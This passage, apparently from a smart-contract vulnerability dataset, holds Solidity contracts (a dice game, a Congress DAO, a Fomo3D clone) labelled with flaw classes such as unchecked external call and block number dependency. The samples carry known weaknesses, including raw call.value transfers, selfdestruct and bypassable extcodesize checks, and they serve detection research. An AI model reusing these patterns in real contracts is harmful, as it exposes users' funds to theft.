require(newMaxProfitAsPercent <= 200000); maxProfitAsPercentOfHouse = newMaxProfitAsPercent; setMaxProfit(); } function ownerSetMinBet(uint newMinimumBet) public onlyOwner { minBet = newMinimumBet; } function ownerTransferZTH(address sendTo, uint amount) public onlyOwner { contractBalance = contractBalance.sub(amount); setMaxProfit(); require(ZTHTKN.transfer(sendTo, amount)); emit LogOwnerTransfer(sendTo, amount); } function ownerPauseGame(bool newStatus) public onlyOwner { gamePaused = newStatus; } function ownerSetBankroll(address newBankroll) public onlyOwner { ZTHTKN.approve(ZethrBankroll, 0); ZethrBankroll = newBankroll; ZTHTKN.approve(newBankroll, MAX_INT); } function ownerChangeOwner(address newOwner) public onlyOwner { owner = newOwner; } function ownerkill() public onlyOwner { ZTHTKN.transfer(owner, contractBalance); selfdestruct(owner); } function dumpdivs() public{ ZethrBankroll.transfer(address(this).balance); } function _zthToken(address _tokenContract) private view returns (bool) { return _tokenContract == ZTHTKNADDR; } } library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { uint c = a / b; return c; } function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } }",./Dataset/block number dependency (BN),0,0 39327.sol,"pragma solidity ^0.4.4; /** * @title Contract for object that have an owner */ contract Owned { /** * Contract owner address */ address public owner; /** * @dev Delegate contract to another person * @param _owner New owner address */ function setOwner(address _owner) onlyOwner { owner = _owner; } /** * @dev Owner check modifier */ modifier onlyOwner { if (msg.sender != owner) throw; _; } } /** * @title Common pattern for destroyable contracts */ contract Destroyable { address public hammer; /** * @dev Hammer setter * @param _hammer New hammer address */ function setHammer(address _hammer) onlyHammer { hammer = _hammer; } /** * @dev Destroy contract and scrub a data * @notice Only hammer can call it */ function destroy() onlyHammer { suicide(msg.sender); } /** * @dev Hammer check modifier */ modifier onlyHammer { if (msg.sender != hammer) throw; _; } } /** * @title Generic owned destroyable contract */ contract Object is Owned, Destroyable { function Object() { owner = msg.sender; hammer = msg.sender; } } // Standard token interface (ERC 20) // https://github.com/ethereum/EIPs/issues/20 contract ERC20 { // Functions: /// @return total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool); /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256); // Events: event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * @title Asset recipient interface */ contract Recipient { /** * @dev On received ethers * @param sender Ether sender * @param amount Ether value */ event ReceivedEther(address indexed sender, uint256 indexed amount); /** * @dev On received custom ERC20 tokens * @param from Token sender * @param value Token value * @param token Token contract address * @param extraData Custom additional data */ event ReceivedTokens(address indexed from, uint256 indexed value, address indexed token, bytes extraData); /** * @dev Receive approved ERC20 tokens * @param _from Spender address * @param _value Transaction value * @param _token ERC20 token contract address * @param _extraData Custom additional data */ function receiveApproval(address _from, uint256 _value, ERC20 _token, bytes _extraData) { if (!_token.transferFrom(_from, this, _value)) throw; ReceivedTokens(_from, _value, _token, _extraData); } /** * @dev Catch sended to contract ethers */ function () payable { ReceivedEther(msg.sender, msg.value); } } /** * @title Improved congress contract by Ethereum Foundation * @dev https://www.ethereum.org/dao#the-blockchain-congress */ contract Congress is Object, Recipient { /** * @dev Minimal quorum value */ uint256 public minimumQuorum; /** * @dev Duration of debates */ uint256 public debatingPeriodInMinutes; /** * @dev Majority margin is used in voting procedure */ int256 public majorityMargin; /** * @dev Archive of all member proposals */ Proposal[] public proposals; /** * @dev Count of proposals in archive */ function numProposals() constant returns (uint256) { return proposals.length; } /** * @dev Congress members list */ Member[] public members; /** * @dev Get member identifier by account address */ mapping(address => uint256) public memberId; /** * @dev On proposal added * @param proposal Proposal identifier * @param recipient Ether recipient * @param amount Amount of wei to transfer */ event ProposalAdded(uint256 indexed proposal, address indexed recipient, uint256 indexed amount, string description); /** * @dev On vote by member accepted * @param proposal Proposal identifier * @param position Is proposal accepted by memeber * @param voter Congress memeber account address * @param justification Member comment */ event Voted(uint256 indexed proposal, bool indexed position, address indexed voter, string justification); /** * @dev On Proposal closed * @param proposal Proposal identifier * @param quorum Number of votes * @param active Is proposal passed */ event ProposalTallied(uint256 indexed proposal, uint256 indexed quorum, bool indexed active); /** * @dev On changed membership * @param member Account address * @param isMember Is account member now */ event MembershipChanged(address indexed member, bool indexed isMember); /** * @dev On voting rules changed * @param minimumQuorum New minimal count of votes * @param debatingPeriodInMinutes New debating duration * @param majorityMargin New majority margin value */ event ChangeOfRules(uint256 indexed minimumQuorum, uint256 indexed debatingPeriodInMinutes, int256 indexed majorityMargin); struct Proposal { address recipient; uint256 amount; string description; uint256 votingDeadline; bool executed; bool proposalPassed; uint256 numberOfVotes; int256 currentResult; bytes32 proposalHash; Vote[] votes; mapping(address => bool) voted; } struct Member { address member; string name; uint256 memberSince; } struct Vote { bool inSupport; address voter; string justification; } /** * @dev Modifier that allows only shareholders to vote and create new proposals */ modifier onlyMembers { if (memberId[msg.sender] == 0) throw; _; } /** * @dev First time setup */ function Congress( uint256 minimumQuorumForProposals, uint256 minutesForDebate, int256 marginOfVotesForMajority, address congressLeader ) { changeVotingRules(minimumQuorumForProposals, minutesForDebate, marginOfVotesForMajority); // It’s necessary to add an empty first member addMember(0, ''); // and let's add the founder, to save a step later if (congressLeader != 0) addMember(congressLeader, 'The Founder'); } /** * @dev Append new congress member * @param targetMember Member account address * @param memberName Member full name */ function addMember(address targetMember, string memberName) onlyOwner { if (memberId[targetMember] != 0) throw; memberId[targetMember] = members.length; members.push(Member({member: targetMember, memberSince: now, name: memberName})); MembershipChanged(targetMember, true); } /** * @dev Remove congress member * @param targetMember Member account address */ function removeMember(address targetMember) onlyOwner { if (memberId[targetMember] == 0) throw; uint256 targetId = memberId[targetMember]; uint256 lastId = members.length - 1; // Move last member to removed position Member memory moved = members[lastId]; members[targetId] = moved; memberId[moved.member] = targetId; // Clean up memberId[targetMember] = 0; delete members[lastId]; --members.length; MembershipChanged(targetMember, false); } /** * @dev Change rules of voting * @param minimumQuorumForProposals Minimal count of votes * @param minutesForDebate Debate deadline in minutes * @param marginOfVotesForMajority Majority margin value */ function changeVotingRules( uint256 minimumQuorumForProposals, uint256 minutesForDebate, int256 marginOfVotesForMajority ) onlyOwner { minimumQuorum = minimumQuorumForProposals; debatingPeriodInMinutes = minutesForDebate; majorityMargin = marginOfVotesForMajority; ChangeOfRules(minimumQuorum, debatingPeriodInMinutes, majorityMargin); } /** * @dev Create a new proposal * @param beneficiary Beneficiary account address * @param amount Transaction value in Wei * @param jobDescription Job description string * @param transactionBytecode Bytecode of transaction */ function newProposal( address beneficiary, uint256 amount, string jobDescription, bytes transactionBytecode ) onlyMembers returns (uint256 id) { id = proposals.length++; Proposal p = proposals[id]; p.recipient = beneficiary; p.amount = amount; p.description = jobDescription; p.proposalHash = sha3(beneficiary, amount, transactionBytecode); p.votingDeadline = now + debatingPeriodInMinutes * 1 minutes; p.executed = false; p.proposalPassed = false; p.numberOfVotes = 0; ProposalAdded(id, beneficiary, amount, jobDescription); } /** * @dev Check if a proposal code matches * @param id Proposal identifier * @param beneficiary Beneficiary account address * @param amount Transaction value in Wei * @param transactionBytecode Bytecode of transaction */ function checkProposalCode( uint256 id, address beneficiary, uint256 amount, bytes transactionBytecode ) constant returns (bool codeChecksOut) { return proposals[id].proposalHash == sha3(beneficiary, amount, transactionBytecode); } /** * @dev Proposal voting * @param id Proposal identifier * @param supportsProposal Is proposal supported * @param justificationText Member comment */ function vote( uint256 id, bool supportsProposal, string justificationText ) onlyMembers returns (uint256 vote) { Proposal p = proposals[id]; // Get the proposal if (p.voted[msg.sender] == true) throw; // If has already voted, cancel p.voted[msg.sender] = true; // Set this voter as having voted p.numberOfVotes++; // Increase the number of votes if (supportsProposal) { // If they support the proposal p.currentResult++; // Increase score } else { // If they don't p.currentResult--; // Decrease the score } // Create a log of this event Voted(id, supportsProposal, msg.sender, justificationText); } /** * @dev Try to execute proposal * @param id Proposal identifier * @param transactionBytecode Transaction data */ function executeProposal( uint256 id, bytes transactionBytecode ) onlyMembers { Proposal p = proposals[id]; /* Check if the proposal can be executed: - Has the voting deadline arrived? - Has it been already executed or is it being executed? - Does the transaction code match the proposal? - Has a minimum quorum? */ if (now < p.votingDeadline || p.executed || p.proposalHash != sha3(p.recipient, p.amount, transactionBytecode) || p.numberOfVotes < minimumQuorum) throw; /* execute result */ /* If difference between support and opposition is larger than margin */ if (p.currentResult > majorityMargin) { // Avoid recursive calling p.executed = true; if (!p.recipient.call.value(p.amount)(transactionBytecode)) throw; p.proposalPassed = true; } else { p.proposalPassed = false; } // Fire Events ProposalTallied(id, p.numberOfVotes, p.proposalPassed); } } library CreatorCongress { function create(uint256 minimumQuorumForProposals, uint256 minutesForDebate, int256 marginOfVotesForMajority, address congressLeader) returns (Congress) { return new Congress(minimumQuorumForProposals, minutesForDebate, marginOfVotesForMajority, congressLeader); } function version() constant returns (string) { return ""v0.6.3""; } function abi() constant returns (string) { return '[{""constant"":true,""inputs"":[{""name"":"""",""type"":""uint256""}],""name"":""proposals"",""outputs"":[{""name"":""recipient"",""type"":""address""},{""name"":""amount"",""type"":""uint256""},{""name"":""description"",""type"":""string""},{""name"":""votingDeadline"",""type"":""uint256""},{""name"":""executed"",""type"":""bool""},{""name"":""proposalPassed"",""type"":""bool""},{""name"":""numberOfVotes"",""type"":""uint256""},{""name"":""currentResult"",""type"":""int256""},{""name"":""proposalHash"",""type"":""bytes32""}],""payable"":false,""type"":""function""},{""constant"":false,""inputs"":[{""name"":""targetMember"",""type"":""address""}],""name"":""removeMember"",""outputs"":[],""payable"":false,""type"":""function""},{""constant"":false,""inputs"":[{""name"":""_owner"",""type"":""address""}],""name"":""setOwner"",""outputs"":[],""payable"":false,""type"":""function""},{""constant"":false,""inputs"":[{""name"":""id"",""type"":""uint256""},{""name"":""transactionBytecode"",""type"":""bytes""}],""name"":""executeProposal"",""outputs"":[],""payable"":false,""type"":""function""},{""constant"":true,""inputs"":[{""name"":"""",""type"":""address""}],""name"":""memberId"",""outputs"":[{""name"":"""",""type"":""uint256""}],""payable"":false,""type"":""function""},{""constant"":true,""inputs"":[],""name"":""numProposals"",""outputs"":[{""name"":"""",""type"":""uint256""}],""payable"":false,""type"":""function""},{""constant"":true,""inputs"":[],""name"":""hammer"",""outputs"":[{""name"":"""",""type"":""address""}],""payable"":false,""type"":""function""},{""constant"":true,""inputs"":[{""name"":"""",""type"":""uint256""}],""name"":""members"",""outputs"":[{""name"":""member"",""type"":""address""},{""name"":""name"",""type"":""string""},{""name"":""memberSince"",""type"":""uint256""}],""payable"":false,""type"":""function""},{""constant"":true,""inputs"":[],""name"":""debatingPeriodInMinutes"",""outputs"":[{""name"":"""",""type"":""uint256""}],""payable"":false,""type"":""function""},{""constant"":true,""inputs"":[],""name"":""minimumQuorum"",""outputs"":[{""name"":"""",""type"":""uint256""}],""payable"":false,""type"":""function""},{""constant"":false,""inputs"":[],""name"":""destroy"",""outputs"":[],""payable"":false,""type"":""function""},{""constant"":true,""inputs"":[],""name"":""owner"",""outputs"":[{""name"":"""",""type"":""address""}],""payable"":false,""type"":""function""},{""constant"":false,""inputs"":[{""name"":""_from"",""type"":""address""},{""name"":""_value"",""type"":""uint256""},{""name"":""_token"",""type"":""address""},{""name"":""_extraData"",""type"":""bytes""}],""name"":""receiveApproval"",""outputs"":[],""payable"":false,""type"":""function""},{""constant"":true,""inputs"":[],""name"":""majorityMargin"",""outputs"":[{""name"":"""",""type"":""int256""}],""payable"":false,""type"":""function""},{""constant"":false,""inputs"":[{""name"":""beneficiary"",""type"":""address""},{""name"":""amount"",""type"":""uint256""},{""name"":""jobDescription"",""type"":""string""},{""name"":""transactionBytecode"",""type"":""bytes""}],""name"":""newProposal"",""outputs"":[{""name"":""id"",""type"":""uint256""}],""payable"":false,""type"":""function""},{""constant"":false,""inputs"":[{""name"":""minimumQuorumForProposals"",""type"":""uint256""},{""name"":""minutesForDebate"",""type"":""uint256""},{""name"":""marginOfVotesForMajority"",""type"":""int256""}],""name"":""changeVotingRules"",""outputs"":[],""payable"":false,""type"":""function""},{""constant"":false,""inputs"":[{""name"":""targetMember"",""type"":""address""},{""name"":""memberName"",""type"":""string""}],""name"":""addMember"",""outputs"":[],""payable"":false,""type"":""function""},{""constant"":false,""inputs"":[{""name"":""_hammer"",""type"":""address""}],""name"":""setHammer"",""outputs"":[],""payable"":false,""type"":""function""},{""constant"":false,""inputs"":[{""name"":""id"",""type"":""uint256""},{""name"":""supportsProposal"",""type"":""bool""},{""name"":""justificationText"",""type"":""string""}],""name"":""vote"",""outputs"":[{""name"":""vote"",""type"":""uint256""}],""payable"":false,""type"":""function""},{""constant"":true,""inputs"":[{""name"":""id"",""type"":""uint256""},{""name"":""beneficiary"",""type"":""address""},{""name"":""amount"",""type"":""uint256""},{""name"":""transactionBytecode"",""type"":""bytes""}],""name"":""checkProposalCode"",""outputs"":[{""name"":""codeChecksOut"",""type"":""bool""}],""payable"":false,""type"":""function""},{""inputs"":[{""name"":""minimumQuorumForProposals"",""type"":""uint256""},{""name"":""minutesForDebate"",""type"":""uint256""},{""name"":""marginOfVotesForMajority"",""type"":""int256""},{""name"":""congressLeader"",""type"":""address""}],""payable"":false,""type"":""constructor""},{""payable"":true,""type"":""fallback""},{""anonymous"":false,""inputs"":[{""indexed"":true,""name"":""proposal"",""type"":""uint256""},{""indexed"":true,""name"":""recipient"",""type"":""address""},{""indexed"":true,""name"":""amount"",""type"":""uint256""},{""indexed"":false,""name"":""description"",""type"":""string""}],""name"":""ProposalAdded"",""type"":""event""},{""anonymous"":false,""inputs"":[{""indexed"":true,""name"":""proposal"",""type"":""uint256""},{""indexed"":true,""name"":""position"",""type"":""bool""},{""indexed"":true,""name"":""voter"",""type"":""address""},{""indexed"":false,""name"":""justification"",""type"":""string""}],""name"":""Voted"",""type"":""event""},{""anonymous"":false,""inputs"":[{""indexed"":true,""name"":""proposal"",""type"":""uint256""},{""indexed"":true,""name"":""quorum"",""type"":""uint256""},{""indexed"":true,""name"":""active"",""type"":""bool""}],""name"":""ProposalTallied"",""type"":""event""},{""anonymous"":false,""inputs"":[{""indexed"":true,""name"":""member"",""type"":""address""},{""indexed"":true,""name"":""isMember"",""type"":""bool""}],""name"":""MembershipChanged"",""type"":""event""},{""anonymous"":false,""inputs"":[{""indexed"":true,""name"":""minimumQuorum"",""type"":""uint256""},{""indexed"":true,""name"":""debatingPeriodInMinutes"",""type"":""uint256""},{""indexed"":true,""name"":""majorityMargin"",""type"":""int256""}],""name"":""ChangeOfRules"",""type"":""event""},{""anonymous"":false,""inputs"":[{""indexed"":true,""name"":""sender"",""type"":""address""},{""indexed"":true,""name"":""amount"",""type"":""uint256""}],""name"":""ReceivedEther"",""type"":""event""},{""anonymous"":false,""inputs"":[{""indexed"":true,""name"":""from"",""type"":""address""},{""indexed"":true,""name"":""value"",""type"":""uint256""},{""indexed"":true,""name"":""token"",""type"":""address""},{""indexed"":false,""name"":""extraData"",""type"":""bytes""}],""name"":""ReceivedTokens"",""type"":""event""}]'; } }",./Dataset/unchecked external call (UC),7,7 3323.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract FomoSuper is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x004f29f33530cfa4a9f10e1a83ca4063ce96df7149); address private admin = msg.sender; string constant public name = ""FomoSuper""; string constant public symbol = ""FomoSuper""; uint256 private rndExtra_ = 0; uint256 private rndGap_ = 2 minutes; uint256 constant private rndInit_ = 8 minutes; uint256 constant private rndInc_ = 1 seconds; uint256 constant private rndMax_ = 10 minutes; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(22,6); fees_[1] = F3Ddatasets.TeamFee(38,0); fees_[2] = F3Ddatasets.TeamFee(52,10); fees_[3] = F3Ddatasets.TeamFee(68,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 